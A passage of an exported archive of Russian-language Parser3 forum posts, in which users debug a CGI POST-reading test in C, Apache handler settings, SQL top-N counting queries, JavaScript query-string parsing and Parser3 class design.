        int content_length_int=content_length_cstr?atoi(getenv(\"CONTENT_LENGTH\")):-1;\
        char *buf[0x400];\
        memset(buf, 0, sizeof(buf));\
        int read_int=read(0, buf, sizeof(buf)-1);\
        if(read_int>0)\
                buf[read_int]=0;\
        printf(\"content-type:text/plain\\n\\nlength=%d\\ndata_len=%d\\ndata='%s'\",\
                content_length_int,\
                read_int,\
                buf);\
        return 0;\
}\
\
[/code]\
\
надо \
[code]\
g++ echopost.C -o echopost.cgi\
[/code]"
"17014","не зная что и как хранится я не могу сказать что за запросы нужно написать.\
"
"17015","Документ http://www.parser.ru/f/1/download/freebsd/parser3_3_0_0007_freebsd46R_grpunlim_cgi.tar.gz не найден.\
\
Скачал только \
http://www.parser.ru/f/1/download/freebsd/parser3_3_0_0005_freebsd46R_grpunlim_cgi.tar.gz\
---где ж взять та новый парсер (0007)???\
\
"
"17016","нужно выбрать 10 самых самых часто встречающихся имен"
"17017","http://yz.kiev.ua/content-length.cgi\
\
Работает вроде как..."
"17019","select name, count(id) as number_of_posts\
from table\
order by number_of_posts desc\
group by name\
"
"17020","баклан :) надо так:\
\
 http://www.parser.ru/f/1/download/freebsd/parser3_3_0_0007_freebsd47R_grpunlim_cgi.tar.gz"
"17021","Спасибо огромное все, кто помог мне.\
Поставил я наконец-то на этом гребанном валуе, заработало.\
Спасибо!"
"17022","не то огребёшь там проблем по самое нехочу"
"17023","1. параметрами: сделать буфер такой, как у parser [1M]?\
2. кодом: заменить простое чтение на кусочек кода из parser3.C?\
\
общая идея: идти от точки А к точке Б, и по дороге найти отличие."
"17026","> 1. параметрами: сделать буфер такой, как у parser [1M]?\
[code]\
//        char *buf[0x400];\
        char *buf[0x400*0x400];\
[/code]\
\
Работает (http://yz.kiev.ua/content-length.cgi).\
\
> 2. кодом: заменить простое чтение на кусочек кода из parser3.C?\
\
Здесь вынужден попросить помощи, т.к., как и говорил, с C не очень дружу =("
"17027","ошибся блин, впрочем я просто показал куда копать, а не писал рабочий код :)"
"17028","огромное спасибо за помощь.\
\
[code]\
#include <stdio.h>\
#include <stdlib.h>\
#include <unistd.h>\
#include <string.h>\
\
const size_t READ_POST_CHUNK_SIZE=0x400*0x400; // 1M\
\
size_t min(size_t a, size_t b) {\
        return a<b?a:b;\
}\
\
size_t read_post(char *buf, size_t max_bytes) {\
        size_t read_size=0;\
        do {\
                ssize_t chunk_size=read(fileno(stdin),\
                        buf+read_size, min(READ_POST_CHUNK_SIZE, max_bytes-read_size));\
                if(chunk_size<=0)\
                        break;\
                read_size+=chunk_size;\
        } while(read_size<max_bytes);\
\
        return read_size;\
}\
\
int main(){\
        char *content_length_cstr=getenv(\"CONTENT_LENGTH\");\
        int content_length_int=content_length_cstr?atoi(getenv(\"CONTENT_LENGTH\")):-1;\
        char buf[0x400*0x400*2];\
        memset(buf, 0, sizeof(buf));\
        size_t read_int=read_post(buf, sizeof(buf));\
\
        if(read_int>0)\
                buf[read_int]=0;\
        printf(\"content-type:text/plain\\n\\nlength=%d\\ndata_len=%d\\ndata='%s'\",\
                content_length_int,\
                read_int,\
                buf);\
        return 0;\
}\
\
[/code]"
"17030","http://yz.kiev.ua/content-length.cgi\
работает..."
"17031","...если таки удастся запугать народ тем, что ^use[], ^process{} и ^match[] [b]ужасно[/b] то хотя бы в тех случаях, где запросто хватает replace и Co, имеено последние и будут использовать.\
\
и не будут пихать в циклах ^process{} и использовать 2 десятка матчей вместо одного replace, когда это совершенно не нужно.\
\
и говорить про то, что replace на порядок лучше, чем match будет не только миша с пафом, а и остальные, хотя возможно не все будут до конца понимать почему это так."
"17032","P.S. блин, неужели не понятно, что я глумлюсь таким образом, и глумлюсь потому, что вместо того, чтобы [b]сразу нормально описать задачу[/b], вы пишите какие-то обрывки информации, которые никому кроме вас абсолютно ничего не говорят! существует много способов хранить эту информацию в БД, и никто не ведает, на каком же именно способе остановились вы...\
\
"
"17034","но,  если не трудно\
Можно ли какнибудь передавать переменные от страницы к странице с помощью java-script?\
Что-то вроде\
index.html?img=1&width=100&height=200&alt=Picture\
\
А то java-script может просто отрезать всё что после \"?\""
"17035","[code]\
function getparam(name){\
var pname=name+'=';\
var ps=window.location.search;\
if (ps.length>0) {\
        var start=ps.indexOf(pname);\
        if (start!=-1) {\
                start+=pname.length;\
                var end=ps.indexOf('&',start);\
                if (end==-1) end=ps.length;\
                        return unescape(ps.substring(start,end));\
                }\
        }\
return null;\
}\
[/code]\
\
здесь getparam(нужной_переменной) вернёт её значение."
"17037","что-то не очень получается\
если написать document.write(getparam(name));, параметр name не возвращается\
возвращает null "
"17038","я прекрасно вас понял, потом и ответил \"очень\" понятно.\
Мне не нужен для конкретной задачи работающий код, мне нужно пояснение куда копать. Вот потому и вопрос был такой:\
[b] Есть форум. все данные в базе. Как посчитать 10 лучших участников форума? [/b]\
Я так понимаю, структура базы для форума не может особо отличаться от вашей. Хотя я, возможно, могу ошибаться...  Извините: не сказал – форум обычный древовидный. \
"
"17039","нет английских букв, поэтому не выкладываю...\
Посмотреть можно здесь:\
http://www.spearance.ru/parser3/fonts/"
"17040","(слезно)Если не трудно дай пожалуйста."
"17042","куда копать, говорите?\
если вы совсем начинающий — копайте в сторону любой книжки по SQL.\
\
если не совсем: приведите то, до чего додумали сами, поможем."
"17043","сейчас код теста и код parser'а по считыванию тела POST совпадает.\
если в одном работает, в другом нет, значит эксперимент не точен.\
\
попробуйте наш тестовый скрипт назвать тем же именем, что называется parser, пусть он подпадёт под все те же настройки, и сделайте post не на него, а на .html, им обрабатываемый (вы поняли: как будто это и есть «parser»).\
\
я подозреваю какую-то дребедень вроде rewrite, о котором вы молчите, или кривой suexec, или что-то подобное: такой эксперимент снимет подозрения."
"17044","> т.е. это т.н. \"дисковые операции\", и их следует по возможности избегать?\
\
дисковые операции тоже имеют свойство кешироваться, причём это делает операционная система, причём есть несколько уровней кеширования.\
\
\
"
"17045","я же там внизу пояснил, не getparam(name), а getparam(имени_нужной_вам_переменной), что-то вроде:\
[code]\
document.write('<img src=' + getparam(img) + '.jpg width=' + getparam(width) + ' height=' + getparam(height) + ' alt=' + getparam(alt) + '>' ); \
[/code]\
ну и незабудьте, собствнно, определить саму функцию в head части документа (на всякий случай напомнил ;)\
"
"17046","если таблица называется forum, столбец с номером реплики в таблице - cid, имя автора - в author, то код может выглядеть так (качество кода посредственное, писал год назад, когда глупый был - кстати, не факт, что поумнел с тех пор)))):\
\
[code]^connect[$SQL.cs]{\
  $stat[^table::sql{show table status}]\
\
^stat.menu{^if($stat.Name eq \"forum\"){\
<ul>\
<li>Реплик в форуме: <b>$stat.Rows</b></li>\
<li>Средняя длина одной реплики: <b>$stat.Avg_row_length</b> символов</li>\
<li>Объём форума: <b>$stat.Data_length</b> байт<br><i>(А Шекспир, для сравнения, за всю жизнь написал<br>порядка восьми мегабайт чистого текста&#133^;)</i></li>\
</ul>}\
}\
}\
\
^connect[$SQL.cs]{\
	$totalcnt[^table::sql{select count(cid) as counter from forum}] \
	^if($totalcnt){ \
		$totalcntv(0)\
		^totalcnt.menu{$totalcntv(^eval($totalcntv + $totalcnt.counter))}\
	}\
}\
\
\
\
^connect[$SQL.cs]{ \
   $share[^table::sql{select count(cid) as counter from forum group by author order by counter desc limit 10}] \
   ^if($share){ \
$cumulshare(0)\
^share.menu{$cumulshare(^eval($cumulshare + $share.counter))}\
\
$a($totalcntv)\
$b($cumulshare)\
\
<p>Из всех <b>$a</b> реплик в форуме первым 10 авторам в рейтинге принадлежат <nobr><b>$b</b> постингов (<b>^eval(($b/$a)*100)%</b>).</nobr></p>\
\
}\
}\
\
\
^connect[$SQL.cs]{ \
   $tpwriters[^table::sql{select author, count(cid) as counter, (count(cid) / 5) as width, (count(cid) * 100 / ^totalcount[forum]) as percents from forum group by author order by counter desc limit 25}] \
   ^if($tpwriters){ \
<table border=0 cellspacing=1 cellpadding=1 width=80%>\
<tr valign=top>\
<td><b>Автор</b></td>\
<td>&nbsp^;</td>\
<td colspan=2><b>Число реплик</b></td>\
</tr>\
\
$i(1)\
\
^tpwriters.menu{ \
<tr valign=top>\
<td class=small noWrap><span class=small>${i}.</span>^i.inc[] <a href=\"/forum/byauthor.html?a=^taint[uri][$tpwriters.author]\" class=small>$tpwriters.author</a></td>\
<td class=small noWrap>&nbsp^; &nbsp^;</td>\
<td class=smallest noWrap>$tpwriters.counter</td> $width($tpwriters.width)\
<td class=smallest valign=middle align=left noWrap><a href=\"/forum/byauthor.html?a=^taint[uri][$tpwriters.author]\"><img src=\"/etc/img/p.gif\" style=\"border: solid 1px black^;background:$def_logoback\" height=\"11\" width=\"^width.format[%.0u]\" alt=\"\"></a>&nbsp^;${tpwriters.percents}%</td>\
</tr>}[\
]\
</table>\
\
   }{ \
      Форум пуст! \
   } \
} [/code] Пример в действии - http://forum.gfk.ru/forum/stat.html \
"
"17047","1.\
[quot]\
$totalcnt[^table::sql{select count(cid) as counter from forum}] \
[/quot]\
такой запрос всегда вернет одно число, поэтому последующий кусок кода совершенно не нужен:\
[code]\
$totalcntv(^int:sql{select count(cid) from forum})\
[/code]\
\
2. limit все-таки лучше писать не в теле запроса, а как параметр к методу.\
\
3. [quot]\
$cumulshare(0)\
^share.menu{$cumulshare(^eval($cumulshare + $share.counter))}\
[/quot]\
->\
[code]\
$cumulshare(0)\
^share.menu{^cumulshare.inc($share.counter)}\
[/code]\
\
P.S. согласно имеющимся от автора треда обрывкам данных у него что-то совсем не так."
"17048","Дано: Есть база, в которой регистрируется количество появлений некоторых событий. Предположим это землетрясения, наводнения,  массовые выбросы китов на берег и т.п. Пусть в базе есть 2 поля  id и name, где name – название события. \
Если регистрируется в мире какое-либо событие, то в базу заносится его название (т.е. революция или вулкан или т.п.)\
\
Задача получить список из базы чаше всего случающихся событий с количеством событий, отсортированный по количеству этих самых событий. Желательно сделать это на sql, чтобы парсером потом просто вывести.\
\
Возможно ли такое?\
\
Пример: \
1) Землетрясение – 18 \
2) Вулкан – 14\
3) Революция – 11\
4) Моя собака покусала соседей - 9\
"
"17049","Проблема вот в чём, в корневом test.html пишу:\
[code]\
@USE\
/uri.p\
\
$uri_to_split[^uri::creator[/news/archive/2003-05-28.html]]\
[/code]\
А ОН мне:\
'$uri_to_split[^uri::creator[/news/archive/2003-05-28.html]]' usage failed - no $MAIN:CLASS_PATH were specified [parser.runtime]\
Далее лезу в конфигурационный файл и пишу там:\
[code]\
$CLASS_PATH[/]\
[/code]\
А ОН опять:\
'$uri_to_split[^uri::creator[/news/archive/2003-05-28.html]]' not found along MAIN:CLASS_PATH [parser.runtime]\
uri.p лежит в корне..."
"17050","... кроме Notepad :-)"
"17051","что показывает _test.html из раздела \"скачать\"?"
"17052","в таком виде задача тривиальна.\
откройте вашу книжку на странице про select и прочтите про group by и функцию count.\
\
у меня ощущение, что вы не хотите ничего читать по sql, хотя язык простой. откуда нежелание?"
"17053","если открыть доку по mysql и почитать её, то многое станет ясно:\
\
http://www.mysql.com/doc/ru/SELECT.html"
"17056","я все равно её так и не понял.\
\
объяснение одно: \"Если регистрируется в мире какое-либо событие, то в базу заносится его название\", т.е. _я_понимаю_ это так: добавляется запись в таблицу, в итоге в таблице есть куча записей, \"Вулкан\", куча \"Землетрясение\" и т.д.\
в этом случае естественно нужен group by, посчитать сколько уникальных, отсортировать, взять нужное кол-во...\
\
однако читаем дальше и видим \"Пример\", где всё совсем иначе: видим события, и их количества. т.е. _я_понимаю_ это так: когда происходило событие просто увеличивали счетчик данного события, если оно уже было в базе или добавляли его со значением 1 - если его еще не было. при таком раскладе не нужен и group by.\
\
а это уже третье или четвертое объяснение простой задачи... ужас..."
"17058","Написал в конфигурационный файл в самое начало:\
[code]\
@main[]\
$CLASS_PATH[/]\
[/code]\
Парсер стал отвечать короче:\
'uri.p' usage failed - no $MAIN:CLASS_PATH were specified [parser.runtime]\
Поставил перед \"uri.p\" слэш, пишет:\
'$uri_to_split[^uri::creator[/news/archive/2003-05-28.html]]' usage failed - no $MAIN:CLASS_PATH were specified [parser.runtime]\
Т.е тоже самое, когда в конфигурационном файле вообще небыло прописана $CLASS_PATH"
"17059","Поймите и меня, обратится больше не кому!\
Пишу на парсере дипломную работу.\
Пришлось за 3 месяца выкупаться во  все… начиная с html  и заканчивая linux. \
Началось все с установки linux и закатки postgres в этот линух. Html правда немного знал, но не более того, чтобы написать красно – зеленую страницу с большим кеглем по середине – «Это моя домашняя страница. Меня зовут Вася Пупкин…» И все в том же духе.\
А там еще апачи всякие настраивать и т.п. Нужно еще ssl нормально настроить. Может подскажите url где про это хорошо написано?\
\
Теперь вот уже достаточно много узнал. Во многом благодаря этому форуму и лично вам.\
 Но поймите, когда приходится во все в первый раз лезть, а над тобой еще часики туда - сюда, короче не до нормально изучения sql сейчас. Вот и попросил пример.  Или хотя бы направление куда копать.\
"
"17060","у тебя парсер четвертую строку твоего файла test.html понимает как файл, который ты хочешь заюзать. и он тебе об этом сообщает.\
\
надо сказать ему, что тут use заканчивается и начинается код странички"
"17061","тут такая фишка: В базе нет столбца количество событий. \
База выглядит, например, так:\
1) Землетрясение\
2) Наводнение\
3) Ураган\
4) Ураган\
5) Ураган\
6) Наводнение\
7) Землетрясение\
8) Наводнение\
9) Ураган\
10) Ураган\
11) Наводнение\
12) Землетрясение\
\
здесь order by и Limit както, маловато"
"17062","Всё заработало!\
Я думал, что пустая строка после классов должна считаться концом подключения оных? Разве нет?"
"17063","http://yz.kiev.ua/www/parser/test/content-length.cgi\
Теперь действительно не работает =(\
\
rewrite'ов нет никаких\
suexec из стандартной поставки apache (пропатченый на тему login class'ов)\
попробовал и с оригинальным и с патченым suexec'ом - результат одинаковый: не работает.\
похоже, что проблема в установлении handler'а для обработки документов.\
с какими настройками apache может быть это связано?"
"17065","Простите за мою тупость, но я вроде так делаю\
[code]\
<html>\
<head>\
<title>Proverka</title>\
<script language=\"JavaScript\" type=\"text/JavaScript\">\
var img;\
var ss;\
function getparam(name){\
var pname=name+'=';\
var ps=window.location.search;\
if (ps.length>0) {\
        var start=ps.indexOf(pname);\
        if (start!=-1) {\
                start+=pname.length;\
                var end=ps.indexOf('&',start);\
                if (end==-1) end=ps.length;\
                        return unescape(ps.substring(start,end));\
                }\
        }\
return null;\
}\
</script>\
</head>\
<body>\
<script language=\"JavaScript\" type=\"text/JavaScript\">\
document.write(getparam(img));\
</script>\
</body>\
</html>\
[/code]\
\
Потом вызываю страницу index.html?img=7\
Выдаёт -- null"
"17067","Странно. Всё заработало\
я раньше в других случаях не указывал кавычки. Разве это обязательно, ведь это переменная\
\
спасибо за оперативность"
"17069","накосячил с кавычками, спасибо.\
\
Просто в данном случае это не переменная, а кусок текста (кусок query-string'а), и кстати, обьявлять там его как переменную совсем не обязательно. Вы передаёте функции кусок текста, и она по нему ориентируясь, ищет в query-string'е совпадение."
"17070","Дело вот в чём, я захотел написать класс который будет содержать нужные мне методы. Я совсем запутался с конструкцией языка. Задача такая: этот класс будет обрабатывать параметр uri, пришедший от mod_rewrite'a. Как мне это всё организовать? Создал файл uri.p и написал там:\
[code]\
@CLASS\
uri\
\
######Конструктор класса\
###\
@creator[uri_string]\
$self.uri_string[$uri_string]\
###\
######\
\
######Разбиение uri на две части: директория раздела (поле directory) и запрашиваемый документ (поле document)\
###\
@uri_split_v2[][split_uri_string;result_table]\
$split_uri_string[^uri_string.match[^^(.*/)(.*)^$][i]]\
$result_table[^table::create{directory	document\
$split_uri_string.1	$split_uri_string.2}]\
$result[$result_table]\
###\
######\
[/code]\
Затем, если мне нужно этим воспользоваться где-то, то пишу:\
[code]\
@USE\
/uri.p\
\
@main[]\
$uri_to_split[^uri::creator[/news/archive/2003-05-28.html]]\
$splited_uri[^uri_to_split.uri_split_v2[]]\
$splited_uri.directory\
$splited_uri.document\
[/code]\
Я совсем потерялся в объектах (классах-там, методах, операторах, полях). Правильно ли я реализовал поставленную задачу? Если нет, то как к этому всему надо подходить? Хочу разобраться с самим принципом работы классов, методов, операторв и т.д."
"17072","если о реализации конкретной задачи, то...\
\
1. разбивать лучше не матчем:\
[code]\
$result_table[^uri_string.split[/][lh]]\
[/code]\
\
2. не ясно, зачем тебе тут нужны объекты. если ты планируешь добавить еще пачку механизмов работы с этим урлом, то может и имеет смысл делать класс, но тогда:\
- разбить его на кусочки надо в конструкторе\
- хранить кусочки надо в переменной объекта\
- обращаться к разным кускам урла желательно через соответствующие методы\
\
однако наверное надо сначала спланировать, что ты хочешь получить...\
"
"17074","если обобщить:\
[code]SELECT событие, count(уид) as count FROM таблица GROUP BY событие ORDER BY count DESC LIMIT 10[/code]\
если я правильно понял, у вас Postgres (хотя явно вы это нигде не указываете), по дефолту здесь обычно обсуждается MySQL, пример этот, следственно, для него.\
\
P.S. Не забывайте вписывать в нужное окошко своё имя, чтобы у людей вам отвечающих не создавалось ощущение дискомфорта, будто бы они общаются с какой-то \"абстрактной субстанцией\"... "
"17075","Какой Текстовый Редактор вы пользуете? а то NotePad чуток не удобный..."
"17078","Именно план я и хотел бы услышать.\
Что касается поставленных задач, то этот класс должен будет содержать определённое количество методов (может быть и целую \"пачку\"). Как, например, ловить дату из uri и пр., вобщем работать только с uri как строкой. Затем планирую написать другой класс, который уже будет работать с таблицей uri (разделами сайта), производить поиск разделов, названий разделов и другого, исполизуя класс uri (или как-то по-другому его обзаву)."
"17079","Сорри, если напишу то, что уже быть может кто-то высказывал - не читаю сейчас форум, увы, время.\
\
Но меня еще давно посетила идея - в таблице форум \"пользователи\" завести доп. ячейку - кол-во сообщений.\
\
Тогда:\
1. не нужно будет парсить всю базу с форумом - быстрее работаем\
2. проще и понятнее будет структура \"TOP10\""
"17080","То задача была в том, чтобы получить два поля: одно - директория, другое - документ. В случае разбиения сплитом получиться табличка, содержащая все куски между \"/\". Конечно можно потом получить последний кусок (он и будет документом) и сумму всех предыдущих (это и будет директория), но вариант с матчем мне показался более удобным. Если я в чём-то ошибаюсь, скажите, пожалуйста."
"17082","Чего-то не пойму, я ведь его вижу, а Parser - нет...\
В чем может быть дело?"
"17084","если надо именно имя файла и путь, то советую посмотреть на это:\
\
http://www.parser.ru/docs/lang/filedirname.htm\
\
и на это:\
http://www.parser.ru/docs/lang/filebasename.htm\
\
а потом еще раз ответить на вопрос - на фига тут классы/объекты? ;)"
"17085","там действительно много нашлось"
"17086","есть несколько моментов:\
1. при введении избыточных полей требуется самому поддерживать их целостность, чтобы циферки как-нить не сбились (например, при удалении сообщений надо не забыть про это). и стоит вводить избыточность, если это дает существенный выигрыш в производительности или упрощении вычислений.\
\
2. есть ^cache[]. можно кусок кода из двух запросов засунуть в него, создать необходимые индексы, и на некоторое время забить, т.к. фактически этот top будет вычислятся после добавления нового сообщения (при добавлении этот кеш надо ессссно грохать)\
"
"17087","Решение правильное:\
SELECT событие, count(уид) as count FROM таблица GROUP BY событие ORDER BY count DESC LIMIT 10\
В следующий раз постараюсь сразу поподробнее объяснять\
"
"17091","http://www.parser.ru/forum/?id=17020"
"17092","[code]\
######Разбиение uri на две части: директория раздела (поле directory) и запрашиваемый документ (поле document)\
###\
@uri_split_v2[][split_uri_string;result_table]\
$split_uri_string[^uri_string.match[^^(.*/)(.*)^$][i]]\
$isdocument[^split_uri_string.2.match[^^(.*)(\\.(html|htm|jpg|gif|pdf|doc|zip|rar))^$][i]]\
^if($isdocument){\
$uri_directory[$split_uri_string.1]\
$uri_document[$split_uri_string.2]\
}{\
$uri_directory[${split_uri_string.1}${split_uri_string.2}/]\
$uri_document[]}\
$result_table[^table::create{directory	document\
$uri_directory	$uri_document}]\
$result[$result_table]\
###\
######\
[/code]\
Теперь поясню:\
Приходит урл, отсекаем его заднюю часть (за последним слэшем) и смотрим, если расширение нам знакомо, то это документ, а если нет - директорие, соответственно добавляем ее в конец поля directory. Теперь это поле содержит путь к мнимой папке, а поле document не содержит ничего.\
Потом (при дальнейшей обработке) это должно будет пригодиться. По полю directory ищем нужный раздел, а по полю документ отдаём нужный документ."
"17095","подобные вопросы, свидетельствующие о нежелании автора что-либо читать самому, а только бы сесть на шею окружающим будут удаляться без разговоров."
"17097","<script>\
window.setTimeout(имя_формы.submit,инетрвал_времени_в_миллисекундах);\
</script>"
"17098","[code]\
@main[]\
  $splitted_uri[^sep_uri[/news/archive/2003-05-28.html]]\
  $splitted_uri.directory - \
  $splitted_uri.document\
\
@sep_uri[aUri][lmask]\
  $lmask[html|htm|jpg|gif|pdf|doc|zip|rar]\
  ^if(^lmask.pos[^file:justext[$aUri]] >= 0){\
     $result[^table::create{directory	document\
     ^file:dirname[$aUri]/	^file:basename[$aUri]}]\
  }{\
     $result[^table::create{directory	document\
     $aUri	}]\
   }\
[/code]"
"17101","[b]последние[/b] 7 записей из бд?\
\
В строке запроса пишу [$.limit(7)], дальше идет\
^news.sort($news.id)[desc],\
но выдаются всегда первые 7.\
"
"17102","Ну и скоростью конечно. Попробуй цикл на 10000 повторений сделать через свой и мой код..."
"17103","Можно ли получить %subj% средствами Parser'a? Иначе неудобно работать с изображениями: браузер порой отрезает часть картинки, если не прописаны ее weight и height..."
"17105","Все достаточно просто \
Просто ты позабыл про offset \
\
Взято из доки :\
^table::sql{SQL-запрос }[$.limit(n) $.offset(o)] \
\
Хочешь следующие 7 записей? Так и добавь $.offset(7)\
Полее подробно здесь:\
http://www.parser.ru/docs/lang/tablesql.htm\
\
Да, и наверное лучше пусть сортировкой сервер БД занимается, а не парсер. (В твоем случае надо добавить ORDER BY id DESC к запросу)"
"17106","Благодарю\
\
Оффсет оказался не нужен: достаточно было сделать сортировку через запрос к бд."
"17109","...сделать рубрикатор для реплик с форума, как у меня - http://forum.gfk.ru/forum/faq/\
\
Вытаскиваешь на панель браузера \"links\", ссылку-кнопочку, которая открывает javascript'ом маленькое окошко со страницей из админского раздела - uri текущей реплики передаётся ей через параметр \
\
[code]javascript:{ChaWoManager=window.open('http://forum.gfk.ru/admin/faqmanager_ie.html?url='+location.search+'&lname='+(document.title),'Z','height=320,width=500,screenX=100,screenY=100,resizable,scrollbars=yes');ChaWoManager.focus();};[/code](код javascript может придётся поменять чуть-чуть в части location.search и, есессно, uri cnhfybws).\
\
Потом, читая реплику, где в n-цатый раз обсуждается, как померять габариты картинки или ещё что, [b]не уходя с этой страницы[/b] жмёшь кнопку и кладёшь ссылку на читаемую реплику в рубрикатор в соответствующую папку, добавляя комментарий, если о сути обсуждения не понятно из заголовка. Всё! За недельку набирается приличный каталог, в который [i]предметно[/i] тыкаешь носом 95% спрашивающих, ласково приговаривая, [i]\"RTFM, RTFM, RTFM, RTFM...\"[/i]"
"17110","на самом деле согласен, нужно сделать... но у меня сейчас немного другие задачи по этому сайту (и не только)... так что это опять откладывается..."
"17112","мои опыты с untaint к успеху не привели"
"17113","untaint - это из другой оперы :))"
"17114","Помогло, спасибо"
"17115","Дорогие единомышленники, подскажите мне, неопытному, где можно\
скачнуть Personal Web Server?"
"17116","Этот сервер входит  в состав Виндовс 98 и устанавливается через установка/удаление программ >> компоненты виндовс в панели управления."
"17117","Товарищ Кодд и Co, 3НФ и другие тихо отдыхают в уголке."
"17118","Подвиндозники имеют доступ к любым базам данных через ODBC, а что делать тем, у кого сервера под Linux. Можно ли надеется, что parser в скором времени сможет работать  с базами  через ODBC или JDBC (или что то подобное) на linux’е. А то хочется использовать несколько другие базы данных."
"17119","я уже высказывался на эту тему и предлагал свою помощь в разработке драйверов тому, кому это необходимо.\
\
нашим клиентам пока нужно не было, так что мы разработаем не скоро."
"17120","Помнится, вы говорили, что оно есть в плане. Сам бы рад написать соотв. драйвер для доступа к ней из базе, но мои познания в [i]C[/i] не настолько глубоки - ничего особо сложнее [i]Hello, world[/i] на нём в жизни не писал :-( Пробовал воспользоваться драйвером для interbase как примером, но сдался - не по зубам задачка.\
\
Поддержку DB2/win32 уж очень хочется увидеть - прекрасная БД с кучей возможностей..."
"17121","все те же соображения."
"17122","уверен, что и оно не заработает.\
\
соответственно, даже ktrace в CGI не поможет, поскольку уже до CGI байты не дошли.\
\
видимо, всё же какой-то Apache-модуль, который что-то делает по дороге. или proxy. или акселератор."
"17123","... нам не видать?"
"17124","кому? наши клиенты от нас это не хотят.\
программистов много, исходники документированы, предлагается помощь.\
\
диагноз: кому нужно, пусть найдёт человека, я тому помогу."
"17125","> уверен, что и оно не заработает.\
\
и не заработало =(\
\
> видимо, всё же какой-то Apache-модуль, который что-то делает по дороге.\
\
Вот список загруженных модулей, из-за которых может не работать:\
access_module\
action_module\
alias_module\
anon_auth_module\
asis_module\
auth_module\
autoindex_module\
cgi_module\
config_log_module\
dir_module\
env_module\
includes_module\
mime_module\
negotiation_module\
php4_module\
setenvif_module\
status_module\
userdir_module\
vhost_alias_module\
\
У Вас нет идей, какой из них может \"гадить\"?\
Буду очень благодарен за помощь.\
\
> или proxy. или акселератор.\
\
proxy нет, акселератора тоже."
"17126","может вдруг вы используете не стандартный способ назначения parser'а обработчиком, а используете ErrorDocument?"
"17127","Это уже из области извращений =)\
\
.htacess:\
[code]\
AddHandler parsed-html html\
Action parsed-html /www/parser/test/parser3.cgi\
CharsetDisable On\
CharsetRecodeFilenames Off\
<Files ~ \"\\.(p|cfg)$\">\
Order allow,deny\
Deny from all\
</Files>\
[/code]"
"17128","я немного подзабыл, как вы проверяли, возможно \
[code]\
<form action=/dir>\
[/code]\
вместо\
[code]\
<form action=/dir/>\
[/code]\
\
ещё попробуйте такое шаманство:\
[code]\
Action parsed-html /www/parser/test/parser3.cgi\
#вместо AddHandler\
AddType parsed-html html\
[/code]"
"17129","> я немного подзабыл, как вы проверяли, возможно\
> <form action=/dir>\
> вместо\
> <form action=/dir/>\
\
Я из перлового скрипта делаю post:\
[code]print $query->startform('POST',http://yz.kiev.ua/www/parser/test/parser3.cgi,'KOI8-R');[/code]\
\
> ещё попробуйте такое шаманство:\
> Action parsed-html /www/parser/test/parser3.cgi\
> #вместо AddHandler\
> AddType parsed-html html\
\
Не помогает =(\
Мне всё же кажется, что дело действительно в каком-то модуле apache, только в каком именно, понять не могу =("
"17130","стоп. я так понимаю, что при прямом post на .cgi работает. не работает при post на документ, на который стоит handler.\
\
apache: нет ничего проще, соберите стандартный, поднимите на 81 порту... \
\
может у вас 2.x apache? я его ещё не пробовал, ничего про него не знаю."
"17131","> стоп. я так понимаю, что при прямом post на .cgi работает. не работает при post на документ, на который стоит handler.\
\
Именно.\
\
> apache: нет ничего проще, соберите стандартный, поднимите на 81 порту...\
\
И каждому страждущему parser'а делать \"индивидуальный\" хостинг на другом apache? Мне кажется, это не выход... Хочется найти таки решение проблемы, а не некий временный workaround.\
\
В любом случае, я очень Вам балгодарен за участие и помощь в решении проблемы.\
У Вас нет идей по поводу того, какой модуль apache может приводить к такой ситуации (в одном из предыдущих постингов я перечислил, какие модули в данный момент подгружены)?\
\
> может у вас 2.x apache? я его ещё не пробовал, ничего про него не знаю.\
\
Нет, стоит russian apache:\
Server version: Apache/1.3.27 (Unix)\
Server built:   Oct  8 2002 10:55:34"
"17132","может она вовсе и не в apache. предлагаемый простой эксперимент лишь для того, чтобы проверить эту идею."
"17133","Может ли Парсер создать пустую папку? Может ли он переименовать или удалить папку со всем содержимым???"
"17134","Парсер, на сколько я знаю, работает с только файлами. Т.е. если создается некоторый файл по пути /лалалал/, то создается и весь путь. Аналогично, если из каталога удаляется последний файл, то удаляется и весь каталог. Т.е. если нужно создать каталог нужно создать некий файл null по нужному пути.\
Если нужно грохнуть каталог, то можно воспользоваться методом List класса file(получаем список всех файлов). Потом в цикле все удалить. Аналогично можно поступить при переименовании каталога, т.е. воспользоваться методом move класса файл.\
"
"17137","что у меня вложенность на 35 уровней (папка в папку), да к тому же в каждой папке по 60 файлов (размером по 5Мб каждый)... Сколько это дело будет работать..."
"17138","если у вас подобная задача, то и инструмент нужно выбирать соответствующий.\
\
P.S. к вопросу об организации данных: 35 уровней - это по моему клиника..."
"17140","Misha? извени, что не согласился поучаствовать в тестровнии твоего класса для форума (банально - сейчас нет времени :))\
но тут вроде вспыл баг в другом классе\
# $Id: dtf.p,v 1.4 2002/07/30 12:00:08 misha Exp $\
\
[code]\
@USE\
/classes/dtf.p\
\
@main[]\
^dtf:format[%d %h %Yг.;1965-05-12]\
[/code]\
старые даты выдают ошибку, а с новыми всё нормально\
^dtf:format[%d %h %Yг.;1998-05-12]\
\
сам я ещё в код не успел залезть, только обнаружил этот трабл, может это я старую версия класса пользую?"
"17141","Нужно перед путем добавить слэш.\
Проще простого, но к парсерному синтаксису я еще не привык.\
Есть ли в нем экранирующий символ а-ля \\/$request:uri ?\
Как это написать. Все разумные варианты перепробовал."
"17143","читай абзац: \"Диапазон возможных значений...\"\
\
есть еще вопросы ко мне? ;)\
этот класс немного упрощает некоторые манипуляции по преобразованию парсерного объекта типа \"дата\" в строковый вид.\
\
"
"17144","Символ / не является в Парсере служебным, поэтому не нуждается в экранировании и пишется /$request:uri"
"17145","Может кто знает?\
Стуация следущая:\
Посылаю сам себе html версию, приходит все отлично.\
[code]\
^mail:send[\
$.from[я]\
$.to[я]\
$.subject[тестим текстовую рассылку:) /Новый $stati.nom выпуск]\
$.x-mailer[Parser 3.0.0007]\
$.errors-to[я]\
$.content-type[text/html^; charset=windows-1251]\
$.html{\
html код....\
}\
]\
[/code]\
\
Но все дело в том, что мне надо посылать этот скомпанованный html код в рассылку. На спец-й ящик, где еще в начале кода пишется пароль типа password=xxx. Так вот, когда я все это делаю, то из рассылки уже мне приходит просто тот же html код - \
<html><head>....и т.д.\
\
В чем трабл то? А рассылка работает походу с PHP. Мейби из-за этого?"
"17146","Winsyntax2 | http://winsyntax.com/ | 483 Кб\
+ fw\
+ парная подсветка скобочек\
+ подсветка php java jsp\
+ подключения своего списка подсветки (parser? :))\
+ кодировки ansi/utf8/koi8 (!)\
+ файлменеджер\
